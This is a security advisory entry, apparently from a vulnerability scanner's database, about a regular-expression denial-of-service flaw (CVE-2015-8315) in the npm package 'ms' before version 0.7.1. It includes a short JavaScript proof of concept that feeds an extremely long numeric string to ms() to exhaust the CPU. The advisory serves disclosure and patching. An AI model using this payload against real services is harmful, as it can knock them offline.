QID 980756

QID 980756: Nodejs (npm) Security Update for ms (GHSA-3fx5-fwvr-xrjg)

Versions of `ms` prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

## Proof of Concept
```javascript
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}

return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

```

Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.

CVSS V3 rated as High - 7.5 severity.

CVSS V2 rated as High - 7.8 severity.

Solution

Customers are advised to refer to GHSA-3fx5-fwvr-xrjg for updates pertaining to this vulnerability.

Vendor References

GHSA-3fx5-fwvr-xrjg - github.com/advisories/GHSA-3fx5-fwvr-xrjg

CVEs related to QID 980756

CVE-2015-8315 |

Software Advisories

Advisory ID	Software	Component	Link
GHSA-3fx5-fwvr-xrjg	ms		github.com/advisories/GHSA-3fx5-fwvr-xrjg

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